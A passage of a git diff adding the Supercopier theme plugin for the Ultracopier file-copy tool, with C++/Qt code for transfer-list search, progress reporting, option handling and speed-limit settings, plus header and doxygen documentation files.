+ return -1;
+}
+
+int TransferModel::searchPrev(const QString &text)
+{
+ emit layoutAboutToBeChanged();
+ search_text=text;
+ emit layoutChanged();
+ if(transfertItemList.size()==0)
+ return -1;
+ if(text.isEmpty())
+ return -1;
+ if(currentIndexSearch==0)
+ currentIndexSearch=loop_size-1;
+ else
+ currentIndexSearch--;
+ index_for_loop=0;
+ loop_size=transfertItemList.size();
+ while(index_for_loop<loop_size)
+ {
+ if(transfertItemList.at(currentIndexSearch).source.indexOf(search_text,0,Qt::CaseInsensitive)!=-1 || transfertItemList.at(currentIndexSearch).destination.indexOf(search_text,0,Qt::CaseInsensitive)!=-1)
+ {
+ haveSearchItem=true;
+ searchId=transfertItemList.at(currentIndexSearch).id;
+ return currentIndexSearch;
+ }
+ if(currentIndexSearch==0)
+ currentIndexSearch=loop_size-1;
+ else
+ currentIndexSearch--;
+ index_for_loop++;
+ }
+ haveSearchItem=false;
+ return -1;
+}
+
+void TransferModel::setFileProgression(
+ #ifndef ULTRACOPIER_PLUGIN_DEBUG
+ const
+ #endif
+ QList<Ultracopier::ProgressionItem> &progressionList)
+{
+ loop_size=progressionList.size();
+ index_for_loop=0;
+ while(index_for_loop<loop_size)
+ {
+ if(internalRunningOperation.contains(progressionList.at(index_for_loop).id))
+ {
+ internalRunningOperation[progressionList.at(index_for_loop).id].generalData.size=progressionList.at(index_for_loop).total;
+ internalRunningOperation[progressionList.at(index_for_loop).id].currentReadProgression=progressionList.at(index_for_loop).currentRead;
+ internalRunningOperation[progressionList.at(index_for_loop).id].currentWriteProgression=progressionList.at(index_for_loop).currentWrite;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ progressionList.removeAt(index_for_loop);
+ index_for_loop--;
+ loop_size--;
+ #endif
+ }
+ index_for_loop++;
+ }
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ if(progressionList.size()>0)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("progression remaning items"));
+ #endif
+}
+
+TransferModel::currentTransfertItem TransferModel::getCurrentTransfertItem() const
+{
+ currentTransfertItem returnItem;
+ returnItem.progressBar_read=-1;
+ returnItem.progressBar_write=0;
+ returnItem.haveItem=startId.size()>0;
+ if(returnItem.haveItem)
+ {
+ if(!internalRunningOperation.contains(*startId.constBegin()))
+ {
+ returnItem.haveItem=false;
+ return returnItem;
+ }
+ const ItemOfCopyListWithMoreInformations &itemTransfer=internalRunningOperation.value(*startId.constBegin());
+ returnItem.from=itemTransfer.generalData.sourceFullPath;
+ returnItem.to=itemTransfer.generalData.destinationFullPath;
+ returnItem.current_file=itemTransfer.generalData.destinationFileName+QStringLiteral(", ")+facilityEngine->sizeToString(itemTransfer.generalData.size);
+ returnItem.id=itemTransfer.generalData.id;
+ switch(itemTransfer.actionType)
+ {
+ case Ultracopier::CustomOperation:
+ if(!itemTransfer.custom_with_progression)
+ returnItem.progressBar_read=-1;
+ else
+ {
+ if(itemTransfer.generalData.size>0)
+ {
+ returnItem.progressBar_read=((double)itemTransfer.currentReadProgression/itemTransfer.generalData.size)*65535;
+ returnItem.progressBar_write=((double)itemTransfer.currentWriteProgression/itemTransfer.generalData.size)*65535;
+ }
+ else
+ returnItem.progressBar_read=-1;
+ }
+ break;
+ case Ultracopier::Transfer:
+ if(itemTransfer.generalData.size>0)
+ {
+ returnItem.progressBar_read=((double)itemTransfer.currentReadProgression/itemTransfer.generalData.size)*65535;
+ returnItem.progressBar_write=((double)itemTransfer.currentWriteProgression/itemTransfer.generalData.size)*65535;
+ }
+ else
+ {
+ returnItem.progressBar_read=0;
+ returnItem.progressBar_write=0;
+ }
+ break;
+ //should never pass here
+ case Ultracopier::PostOperation:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ returnItem.progressBar_read=65535;
+ returnItem.progressBar_write=65535;
+ break;
+ //should never pass here
+ case Ultracopier::PreOperation:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ returnItem.progressBar_read=0;
+ returnItem.progressBar_write=0;
+ break;
+ default:
+ returnItem.progressBar_read=0;
+ returnItem.progressBar_write=0;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unknow action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ break;
+ }
+ }
+ else
+ {
+ returnItem.haveItem=stopId.size()>0;
+ if(returnItem.haveItem)
+ {
+ if(!internalRunningOperation.contains(*stopId.constBegin()))
+ {
+ returnItem.haveItem=false;
+ return returnItem;
+ }
+ const ItemOfCopyListWithMoreInformations &itemTransfer=internalRunningOperation.value(*stopId.constBegin());
+ returnItem.from=itemTransfer.generalData.sourceFullPath;
+ returnItem.to=itemTransfer.generalData.destinationFullPath;
+ returnItem.current_file=itemTransfer.generalData.destinationFileName+QStringLiteral(", ")+facilityEngine->sizeToString(itemTransfer.generalData.size);
+ returnItem.id=itemTransfer.generalData.id;
+ switch(itemTransfer.actionType)
+ {
+ case Ultracopier::CustomOperation:
+ if(!itemTransfer.custom_with_progression)
+ returnItem.progressBar_read=-1;
+ else
+ {
+ if(itemTransfer.generalData.size>0)
+ {
+ returnItem.progressBar_read=((double)itemTransfer.currentReadProgression/itemTransfer.generalData.size)*65535;
+ returnItem.progressBar_write=((double)itemTransfer.currentWriteProgression/itemTransfer.generalData.size)*65535;
+ }
+ else
+ returnItem.progressBar_read=-1;
+ }
+ break;
+ case Ultracopier::Transfer:
+ if(itemTransfer.generalData.size>0)
+ {
+ returnItem.progressBar_read=((double)itemTransfer.currentReadProgression/itemTransfer.generalData.size)*65535;
+ returnItem.progressBar_write=((double)itemTransfer.currentWriteProgression/itemTransfer.generalData.size)*65535;
+ }
+ else
+ {
+ returnItem.progressBar_read=0;
+ returnItem.progressBar_write=0;
+ }
+ break;
+ case Ultracopier::PostOperation:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ returnItem.progressBar_read=65535;
+ returnItem.progressBar_write=65535;
+ break;
+ //should never pass here
+ case Ultracopier::PreOperation:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ returnItem.progressBar_read=0;
+ returnItem.progressBar_write=0;
+ break;
+ default:
+ returnItem.progressBar_read=65535;
+ returnItem.progressBar_write=65535;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unknow action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ break;
+ }
+ }
+ }
+ if(returnItem.haveItem && returnItem.progressBar_read!=-1 && returnItem.progressBar_write>returnItem.progressBar_read)
+ {
+ int tempVar=returnItem.progressBar_write;
+ returnItem.progressBar_write=returnItem.progressBar_read;
+ returnItem.progressBar_read=tempVar;
+ }
+ return returnItem;
+}
diff --git a/plugins-alternative/Themes/Supercopier/TransferModel.h b/plugins-alternative/Themes/Supercopier/TransferModel.h
new file mode 100644
index 0000000..dd8b45a
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/TransferModel.h
@@ -0,0 +1,96 @@
+#ifndef TRANSFERMODEL_H
+#define TRANSFERMODEL_H
+
+#include <QAbstractTableModel>
+#include <QItemSelectionModel>
+#include <QModelIndex>
+#include <QVariant>
+#include <QList>
+#include <QSet>
+#include <QIcon>
+#include <QString>
+
+#include "StructEnumDefinition.h"
+#include "Environment.h"
+
+#include "../../../interface/FacilityInterface.h"
+
+/// \brief model to store the transfer list
+class TransferModel : public QAbstractTableModel
+{
+ Q_OBJECT
+public:
+ /// \brief the transfer item displayed
+ struct TransfertItem
+ {
+ quint64 id;
+ QString source;
+ QString size;
+ QString destination;
+ };
+ /// \brief the transfer item with progression
+ struct ItemOfCopyListWithMoreInformations
+ {
+ quint64 currentReadProgression,currentWriteProgression;
+ Ultracopier::ItemOfCopyList generalData;
+ Ultracopier::ActionTypeCopyList actionType;
+ bool custom_with_progression;
+ };
+ /// \brief returned first transfer item
+ struct currentTransfertItem
+ {
+ quint64 id;
+ bool haveItem;
+ QString from;
+ QString to;
+ QString current_file;
+ int progressBar_read,progressBar_write;
+ };
+
+ TransferModel();
+
+ virtual int columnCount(const QModelIndex& parent = QModelIndex()) const;
+ virtual QVariant data(const QModelIndex& index, int role = Qt::DisplayRole) const;
+ virtual int rowCount(const QModelIndex& parent = QModelIndex()) const;
+ virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::DisplayRole) const;
+ virtual bool setData(const QModelIndex& index, const QVariant& value, int role = Qt::EditRole);
+
+ QList<quint64> synchronizeItems(const QList<Ultracopier::ReturnActionOnCopyList>& returnActions);
+ void setFacilityEngine(FacilityInterface * facilityEngine);
+
+ int search(const QString &text,bool searchNext);
+ int searchPrev(const QString &text);
+
+ void setFileProgression(
+ #ifndef ULTRACOPIER_PLUGIN_DEBUG
+ const
+ #endif
+ QList<Ultracopier::ProgressionItem> &progressionList);
+
+ currentTransfertItem getCurrentTransfertItem() const;
+
+ quint64 firstId() const;
+protected:
+ QList<TransfertItem> transfertItemList;///< To have a transfer list for the user
+ QSet<quint64> startId,stopId;///< To show what is started, what is stopped
+ QHash<quint64,ItemOfCopyListWithMoreInformations> internalRunningOperation;///< to have progression and stat
+private:
+ int loop_size,index_for_loop;
+ int sub_loop_size,sub_index_for_loop;
+ int row,column;
+ FacilityInterface * facilityEngine;
+ QString search_text;
+ /// \brief index from start the search, decresed by remove before it
+ int currentIndexSearch;
+ bool haveSearchItem;
+ quint64 searchId;
+ static QIcon *start;
+ static QIcon *stop;
+signals:
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,QString fonction,QString text,QString file,int ligne) const;
+ #endif
+};
+
+#endif // TRANSFERMODEL_H
diff --git a/plugins-alternative/Themes/Supercopier/Variable.h b/plugins-alternative/Themes/Supercopier/Variable.h
new file mode 100644
index 0000000..963d0c8
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Variable.h
@@ -0,0 +1,15 @@
+/** \file Variable.h
+\brief Define the environment variable
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef VARIABLE_H
+#define VARIABLE_H
+
+//Un-comment this next line to put ultracopier plugin in debug mode
+#define ULTRACOPIER_PLUGIN_DEBUG
+
+#endif // VARIABLE_H
+
+
+
diff --git a/plugins-alternative/Themes/Supercopier/documentation.dox b/plugins-alternative/Themes/Supercopier/documentation.dox
new file mode 100644
index 0000000..9357109
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/documentation.dox
@@ -0,0 +1,33 @@
+/* -*- mode: C++ ; c-file-style: "stroustrup" -*- **/
+
+/*
+ This file contains NO source code, just some documentation for doxygen to
+ parse.
+*/
+
+/*!
+ \mainpage Oxygen
+
+ \section mainpage_overview Overview
+
+ It's interface like Supercopier, see Tal Sella http://www.virtualplastic.net/scrow/ (icons) for the icons and icon license.\n
+ More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>.
+
+ \section mainpage_platforms Platforms
+
+ Ultracopier might be usable in all environments where you find Qt 5.\n
+ Ultracopier requires Qt 5.0 or newer. Tested on Qt 5.0.
+
+ \section mainpage_downloads Downloads
+
+ You can found link on <a href="http://ultracopier.first-world.info/">Ultracopier (Supercopier/Teracopy)</a> project page, via git, snapshot sources, ...
+
+ \section license GPL Version 3
+ The code source is under GPL3. The image is extacted from Oxygen icon pack of KDE4.\n
+ See Tal Sella http://www.virtualplastic.net/scrow/ (icons) for the icons and icon license.\n
+ resources/export-transfer-list.png and resources/import-transfer-list.png done by png manipulation of KDE's oxygen icon pack (16x16/actions/format-indent-more.png + 16x16/actions/format-list-unordered.png), document-save.png -> all SystemTrayIcon/systray_* (color alteration).\n
+ From 16x16/actions/: list-add.png -> add.png and SystemTrayIcon/add.png, process-stop.png -> remove.png, document-save.png -> main.png and, arrow-down.png -> moveDown.png, arrow-up.png -> moveUp.png, system-shutdown.png -> cancel.png and SystemTrayIcon/exit.png, arrow-down-double.png -> putOnBottom.png, arrow-up-double.png -> putOnTop.png, media-skip-forward.png -> player_end.png, media-playback-pause.png -> player_pause.png, media-playback-start.png -> player_play.png, document-preview.png -> search.png, help-about.png -> SystemTrayIcon/informations.png \n
+ And 16x16/categories/applications-development.png -> SystemTrayIcon/options.png
+
+*/
+
diff --git a/plugins-alternative/Themes/Supercopier/factory.cpp b/plugins-alternative/Themes/Supercopier/factory.cpp
new file mode 100644
index 0000000..ce3fe15
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/factory.cpp
@@ -0,0 +1,441 @@
+/** \file factory.cpp
+\brief Define the factory core
+\author alpha_one_x86
+*/
+
+#include <QColorDialog>
+
+#include "factory.h"
+
+ThemesFactory::ThemesFactory()
+{
+ optionsEngine=NULL;
+ tempWidget=new QWidget();
+ ui=new Ui::themesOptions();
+ ui->setupUi(tempWidget);
+ ui->toolBox->setCurrentIndex(0);
+ currentSpeed = 0;
+ updateSpeed();
+ ui->labelDualProgression->hide();
+ ui->showDualProgression->hide();
+
+ qRegisterMetaType<QList<QPersistentModelIndex> >("QList<QPersistentModelIndex>");
+}
+
+ThemesFactory::~ThemesFactory()
+{
+}
+
+PluginInterface_Themes * ThemesFactory::getInstance()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start, currentSpeed: %1").arg(currentSpeed));
+
+ Themes * newInterface=new Themes(
+ ui->alwaysOnTop->isChecked(),
+ ui->showProgressionInTheTitle->isChecked(),
+ progressColorWrite,progressColorRead,progressColorRemaining,
+ ui->showDualProgression->isChecked(),
+ ui->comboBox_copyEnd->currentIndex(),
+ ui->speedWithProgressBar->isChecked(),
+ currentSpeed,
+ ui->checkBoxShowSpeed->isChecked(),
+ facilityEngine,
+ ui->checkBoxStartWithMoreButtonPushed->isChecked(),
+ ui->minimizeToSystray->isChecked()
+ );
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ connect(newInterface,&Themes::debugInformation,this,&PluginInterface_ThemesFactory::debugInformation);
+ #endif
+ connect(this,&ThemesFactory::reloadLanguage,newInterface,&Themes::newLanguageLoaded);
+ return newInterface;
+}
+
+void ThemesFactory::setResources(OptionInterface * optionsEngine,const QString &
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ writePath
+ #endif
+ ,const QString &
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ pluginPath
+ #endif
+ ,FacilityInterface * facilityEngine,const bool &)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start, writePath: "+writePath+", pluginPath: "+pluginPath);
+ this->facilityEngine=facilityEngine;
+ if(optionsEngine!=NULL)
+ {
+ this->optionsEngine=optionsEngine;
+ //load the options
+ QList<QPair<QString, QVariant> > KeysList;
+ KeysList.append(qMakePair(QStringLiteral("checkBoxShowSpeed"),QVariant(false)));
+ KeysList.append(qMakePair(QStringLiteral("moreButtonPushed"),QVariant(false)));
+ KeysList.append(qMakePair(QStringLiteral("speedWithProgressBar"),QVariant(false)));
+ KeysList.append(qMakePair(QStringLiteral("currentSpeed"),QVariant(0)));
+ KeysList.append(qMakePair(QStringLiteral("comboBox_copyEnd"),QVariant(0)));
+ KeysList.append(qMakePair(QStringLiteral("showDualProgression"),QVariant(false)));
+ KeysList.append(qMakePair(QStringLiteral("showProgressionInTheTitle"),QVariant(true)));
+ KeysList.append(qMakePair(QStringLiteral("progressColorWrite"),QVariant(QApplication::palette().color(QPalette::Highlight))));
+ KeysList.append(qMakePair(QStringLiteral("progressColorRead"),QVariant(QApplication::palette().color(QPalette::AlternateBase))));
+ KeysList.append(qMakePair(QStringLiteral("progressColorRemaining"),QVariant(QApplication::palette().color(QPalette::Base))));
+ KeysList.append(qMakePair(QStringLiteral("alwaysOnTop"),QVariant(false)));
+ KeysList.append(qMakePair(QStringLiteral("minimizeToSystray"),QVariant(false)));
+ optionsEngine->addOptionGroup(KeysList);
+ connect(optionsEngine,&OptionInterface::resetOptions,this,&ThemesFactory::resetOptions);
+ updateSpeed();
+ }
+ #ifndef __GNUC__
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"__GNUC__ is not set");
+ #else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"__GNUC__ is set");
+ #endif
+}
+
+QWidget * ThemesFactory::options()
+{
+ if(optionsEngine!=NULL)
+ {
+ bool ok;
+ currentSpeed=optionsEngine->getOptionValue("currentSpeed").toUInt(&ok);
+ if(!ok)
+ currentSpeed=0;
+ ui->comboBox_copyEnd->setCurrentIndex(optionsEngine->getOptionValue(QStringLiteral("comboBox_copyEnd")).toUInt());
+ ui->speedWithProgressBar->setChecked(optionsEngine->getOptionValue(QStringLiteral("speedWithProgressBar")).toBool());
+ ui->checkBoxShowSpeed->setChecked(optionsEngine->getOptionValue(QStringLiteral("checkBoxShowSpeed")).toBool());
+ ui->checkBoxStartWithMoreButtonPushed->setChecked(optionsEngine->getOptionValue(QStringLiteral("moreButtonPushed")).toBool());
+ ui->showDualProgression->setChecked(optionsEngine->getOptionValue(QStringLiteral("showDualProgression")).toBool());
+ ui->showProgressionInTheTitle->setChecked(optionsEngine->getOptionValue(QStringLiteral("showProgressionInTheTitle")).toBool());
+ ui->alwaysOnTop->setChecked(optionsEngine->getOptionValue(QStringLiteral("alwaysOnTop")).toBool());
+ ui->minimizeToSystray->setChecked(optionsEngine->getOptionValue(QStringLiteral("minimizeToSystray")).toBool());
+
+ progressColorWrite=optionsEngine->getOptionValue(QStringLiteral("progressColorWrite")).value<QColor>();
+ progressColorRead=optionsEngine->getOptionValue(QStringLiteral("progressColorRead")).value<QColor>();
+ progressColorRemaining=optionsEngine->getOptionValue(QStringLiteral("progressColorRemaining")).value<QColor>();
+
+ QPixmap pixmap(75,20);
+ pixmap.fill(progressColorWrite);
+ ui->progressColorWrite->setIcon(pixmap);
+ pixmap.fill(progressColorRead);
+ ui->progressColorRead->setIcon(pixmap);
+ pixmap.fill(progressColorRemaining);
+ ui->progressColorRemaining->setIcon(pixmap);
+ updateSpeed();
+ updateProgressionColorBar();
+
+ connect(ui->alwaysOnTop,&QCheckBox::stateChanged,this,&ThemesFactory::alwaysOnTop);
+ connect(ui->checkBoxShowSpeed,&QCheckBox::stateChanged,this,&ThemesFactory::checkBoxShowSpeed);
+ connect(ui->minimizeToSystray,&QCheckBox::stateChanged,this,&ThemesFactory::minimizeToSystray);
+ connect(ui->checkBox_limitSpeed,&QCheckBox::stateChanged,this,&ThemesFactory::uiUpdateSpeed);
+ connect(ui->SliderSpeed,&QAbstractSlider::valueChanged,this,&ThemesFactory::on_SliderSpeed_valueChanged);
+ connect(ui->limitSpeed,static_cast<void(QSpinBox::*)(int)>(&QSpinBox::valueChanged), this, &ThemesFactory::uiUpdateSpeed);
+ connect(ui->checkBoxShowSpeed,&QAbstractButton::toggled,this,&ThemesFactory::checkBoxShowSpeedHaveChanged);
+ connect(ui->checkBoxStartWithMoreButtonPushed,&QAbstractButton::toggled,this,&ThemesFactory::checkBoxStartWithMoreButtonPushedHaveChanged);
+ connect(ui->speedWithProgressBar,&QAbstractButton::toggled,this,&ThemesFactory::speedWithProgressBar);
+ connect(ui->comboBox_copyEnd, static_cast<void(QComboBox::*)(int)>(&QComboBox::currentIndexChanged), this,&ThemesFactory::comboBox_copyEnd);
+ connect(ui->showDualProgression,&QCheckBox::stateChanged,this,&ThemesFactory::showDualProgression);
+ connect(ui->showDualProgression,&QCheckBox::stateChanged,this,&ThemesFactory::updateProgressionColorBar);
+ connect(ui->showProgressionInTheTitle,&QCheckBox::stateChanged,this,&ThemesFactory::setShowProgressionInTheTitle);
+ connect(ui->progressColorWrite,&QAbstractButton::clicked,this,&ThemesFactory::progressColorWrite_clicked);
+ connect(ui->progressColorRead, &QAbstractButton::clicked,this,&ThemesFactory::progressColorRead_clicked);
+ connect(ui->progressColorRemaining,&QAbstractButton::clicked,this,&ThemesFactory::progressColorRemaining_clicked);
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"return the options");
+ return tempWidget;
+}
+
+QIcon ThemesFactory::getIcon(const QString &fileName) const
+{
+ return QIcon(QStringLiteral(":/Themes/Supercopier/resources/")+fileName);
+}
+
+void ThemesFactory::resetOptions()
+{
+ ui->checkBoxShowSpeed->setChecked(true);
+ ui->checkBoxStartWithMoreButtonPushed->setChecked(false);
+}
+
+void ThemesFactory::checkBoxShowSpeedHaveChanged(bool toggled)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"the checkbox have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("checkBoxShowSpeed"),toggled);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::checkBoxStartWithMoreButtonPushedHaveChanged(bool toggled)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"the checkbox have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("moreButtonPushed"),toggled);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::comboBox_copyEnd(int value)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"the checkbox have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("comboBox_copyEnd"),value);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::speedWithProgressBar(bool toggled)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"the checkbox have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("speedWithProgressBar"),toggled);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::newLanguageLoaded()
+{
+ ui->retranslateUi(tempWidget);
+ ui->comboBox_copyEnd->setItemText(0,tr("Don't close if errors are found"));
+ ui->comboBox_copyEnd->setItemText(1,tr("Never close"));
+ ui->comboBox_copyEnd->setItemText(2,tr("Always close"));
+ emit reloadLanguage();
+}
+
+void ThemesFactory::checkBoxShowSpeed(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ Q_UNUSED(checked);
+ updateSpeed();
+}
+
+void ThemesFactory::minimizeToSystray(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"the checkbox have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("minimizeToSystray"),checked);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::alwaysOnTop(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"the checkbox have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("alwaysOnTop"),checked);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::showDualProgression(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"the checkbox have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("showDualProgression"),checked);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::on_SliderSpeed_valueChanged(int value)
+{
+ if(optionsEngine==NULL)
+ return;
+ if(!ui->checkBoxShowSpeed->isChecked())
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("value: %1").arg(value));
+ switch(value)
+ {
+ case 0:
+ currentSpeed=0;
+ break;
+ case 1:
+ currentSpeed=1024;
+ break;
+ case 2:
+ currentSpeed=1024*4;
+ break;
+ case 3:
+ currentSpeed=1024*16;
+ break;
+ case 4:
+ currentSpeed=1024*64;
+ break;
+ case 5:
+ currentSpeed=1024*128;
+ break;
+ }
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("currentSpeed"),currentSpeed);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+ updateSpeed();
+}
+
+void ThemesFactory::uiUpdateSpeed()
+{
+ if(optionsEngine==NULL)
+ return;
+ if(ui->checkBoxShowSpeed->isChecked())
+ return;
+ if(!ui->checkBox_limitSpeed->isChecked())
+ currentSpeed=0;
+ else
+ currentSpeed=ui->limitSpeed->value();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("emit newSpeedLimitation(%1)").arg(currentSpeed));
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("currentSpeed"),currentSpeed);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::updateSpeed()
+{
+ if(optionsEngine==NULL)
+ return;
+ ui->label_Slider_speed->setVisible(ui->checkBoxShowSpeed->isChecked());
+ ui->SliderSpeed->setVisible(ui->checkBoxShowSpeed->isChecked());
+ ui->label_SpeedMaxValue->setVisible(ui->checkBoxShowSpeed->isChecked());
+ ui->limitSpeed->setVisible(!ui->checkBoxShowSpeed->isChecked());
+ ui->checkBox_limitSpeed->setVisible(!ui->checkBoxShowSpeed->isChecked());
+
+ if(ui->checkBoxShowSpeed->isChecked())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("checked, currentSpeed: %1").arg(currentSpeed));
+ ui->limitSpeed->setEnabled(false);
+ if(currentSpeed==0)
+ {
+ ui->SliderSpeed->setValue(0);
+ ui->label_SpeedMaxValue->setText(facilityEngine->translateText("Unlimited"));
+ }
+ else if(currentSpeed<=1024)
+ {
+ if(currentSpeed!=1024)
+ {
+ currentSpeed=1024;
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("currentSpeed"),currentSpeed);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+ }
+ ui->SliderSpeed->setValue(1);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*1));
+ }
+ else if(currentSpeed<=1024*4)
+ {
+ if(currentSpeed!=1024*4)
+ {
+ currentSpeed=1024*4;
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("currentSpeed"),currentSpeed);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+ }
+ ui->SliderSpeed->setValue(2);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*4));
+ }
+ else if(currentSpeed<=1024*16)
+ {
+ if(currentSpeed!=1024*16)
+ {
+ currentSpeed=1024*16;
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("currentSpeed"),currentSpeed);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+ }
+ ui->SliderSpeed->setValue(3);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*16));
+ }
+ else if(currentSpeed<=1024*64)
+ {
+ if(currentSpeed!=1024*64)
+ {
+ currentSpeed=1024*64;
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("currentSpeed"),currentSpeed);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+ }
+ ui->SliderSpeed->setValue(4);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*64));
+ }
+ else
+ {
+ if(currentSpeed!=1024*128)
+ {
+ currentSpeed=1024*128;
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("currentSpeed"),currentSpeed);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+ }
+ ui->SliderSpeed->setValue(5);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*128));
+ }
+ }
+ else
+ {
+ ui->checkBox_limitSpeed->setChecked(currentSpeed>0);
+ if(currentSpeed>0)
+ ui->limitSpeed->setValue(currentSpeed);
+ ui->checkBox_limitSpeed->setEnabled(currentSpeed!=-1);
+ ui->limitSpeed->setEnabled(ui->checkBox_limitSpeed->isChecked());
+ }
+}
+
+void ThemesFactory::progressColorWrite_clicked()
+{
